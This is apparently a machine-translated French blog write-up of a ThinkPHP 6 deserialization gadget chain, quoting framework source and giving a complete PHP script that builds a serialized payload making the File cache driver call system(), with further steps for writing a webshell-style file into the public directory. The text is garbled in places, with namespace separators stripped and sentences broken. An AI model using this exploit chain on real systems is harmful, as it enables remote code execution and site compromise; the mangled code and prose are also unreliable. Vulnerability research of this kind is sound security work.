Forward
Une analyse de tp6 avant la chaîne ; cette fois, la méthode __toString a été utilisée pour le transfert, afin de réaliser le lien entre les deux chaînes avant et après, cette fois ce sont deux autres chaînes qui ont été utilisées pour l'analyse de démarrage du transfert ; >
Tout d'abord, l'environnement peut être construit avec composer en un seul clic, puis php think run peut être exécuté Cet article comprend des exercices pratiques sur les points de connaissance : vulnérabilité d'exécution de commande à distance ThinkPHP5 (via cette expérience, vous pouvez en apprendre davantage sur la vulnérabilité d'exécution de commande à distance ThinkPHP5) Raisons et méthodes d'exploitation, et comment corriger la vulnérabilité)textLa première idée est d'utiliser le destructeur pour le initial trigger; puis tracez la fonction magique jusqu'au bout pour effectuer une dérivation étape par étape ; Trouvez d'abord la fonction magique sous la classe AbstractCacheprotected $autosave = true;public function __destruct(){ if (! $this->autosave) { $this->save(); }}
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
Tout d'abord, nous avons vu la méthode array_flip ici ; cette méthode consiste à remplacer le nom de clé et la valeur de clé du tableau ; puis à attribuer le tableau à la variable $cachedProperties ; les paramètres que nous avons transmis en fonction du format $path et $object pour effectuer chaque parcours ; puis le nom de la clé est jugé par la méthode is_array, le traitement ultérieur de la fonction est effectué sinon, le tableau $content est directement renvoyé ; ; après cette série d'opérations, il est finalement renvoyé à la fonction de sauvegarde ; puis passez à $this->store->set($this->key, $contents, $this->expire); trouvez que le magasin est également contrôlable ; alors il y a deux idées, la première est d'instancier une classe avec une méthode set, ou nous instancions une classe avec une méthode __call ainsi nous pouvons appeler la méthode magique d'appel en accédant à une méthode inexistante ; méthode ; ici, nous trouvons d’abord une classe avec une méthode définie ; trouvée dans la classe File : public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents;}
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?phpn //" . sprintf('%012d', $expire) . "n exit();?>n" . $data; $result = file_put_contents($filename, $data); if ($result) { clearstatcache(); return true; } return false;}
Ici, vous pouvez utiliser la méthode de sérialisation à l'arrière ; tracez-la directement
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
Ici, vous constatez que les paramètres des options sont ; contrôlable ; le voici. Il y a un problème. Si nous l'attribuons au système, alors le retour ultérieur est notre fonction d'exécution de commande. Nous pouvons transmettre les données à l'intérieur, puis nous pouvons implémenter RCE ; Je me suis écrit exp;
id<?php #bash回显;网页不回显;namespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['
']; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 's1mple', 'hash_type' => 'md5', 'serialize' => ['system'], ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}
L'effet final est system(xxxx); J'ai testé ici et il n'y a pas eu d'écho. Plus tard, j'ai débogué le code et j'ai trouvé. que c'était du système Concernant les paramètres à l'intérieur, j'ai pensé plus tard que les backticks sous Linux ou Unix pouvaient également être exécutés en tant que commandes, et ils pouvaient être exécutés en premier, j'ai donc modifié le code et intégré les backticks, afin que la commande puisse être mieux exécutée, mais l'inconvénient est qu'il peut être exécuté, mais il n'y a pas d'écho ; mais nous pouvons toujours effectuer des opérations malveillantes
Grâce à cette chaîne, je crois que nous pouvons le faire ; trouvez quelques indices, en plus de rce , cette chaîne a aussi un file_put_contents qui peut également être utilisé au dernier lieu d'utilisation ;
Si certains maîtres ne comprennent pas certains des gestes sexy utilisés ci-dessous, vous pouvez vérifiez ce lien ;
https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
Parlons-en également ci-dessous ; la chaîne d'utilisation est la même que précédemment ; il est nécessaire de contrôler le contenu du nom de fichier et des données à la fin, nous pouvons voir l'image suivante ;
Il y aura un épissage des données à la fin. Je voulais à l'origine essayer de l'introduire dans le formatage, mais le formatage a été codé en dur. Les caractères illégaux ne peuvent pas être utilisés pour polluer le formatage et introduire du code dangereux ; Je ne peux l'ajouter qu'à la fin. Les données sont écrites et épissées ; il est maintenant temps de contrôler les données ; en fait, les données ici appellent la méthode de sérialisation, il n'est pas difficile de trouver la valeur clé de. L'option Serialize dans le tableau est supprimée et placée devant les données ; en fait, ce n'est pas grave, mais il y a un petit trou ici car c'est $serialize($data);, donc la combinaison ici ; doit être correct. Si vous transmettez la fonction à volonté, cela provoquera quelque chose comme adsf($data); Les fonctions irrégulières provoqueront des erreurs et rendront impossible de continuer
Après avoir compris cela, il y a toujours un problème. petit piège ; en fait, nous pouvons contrôler le contenu de l'option ; ensuite nous pouvons contrôler la valeur de la clé de sérialisation. mais comme json_encode a été effectué auparavant, le format final de la fonction générale ne peut pas être déchiffré en base64 ; exception ici. J'ai testé la fonction de sérialisation et j'ai découvert qu'après la sérialisation, nous pouvons effectuer le décryptage en base64 normalement ; c'est probablement parce qu'il peut former une chaîne ; voici mon exp ; De plus, de nombreux maîtres peuvent être confus quant à la question des répertoires inscriptibles, j'utilise donc ici virtual La méthode directory le localise sous le répertoire public ; cela peut être reflété dans le paramètre path ; >
Le résultat final de l'accès consiste à exécuter phpinfo ; bien sûr, il peut également être écrit sur le système comme cette fonction d'exécution de commande ; provoquant l'exploitation d'un cheval de Troie ;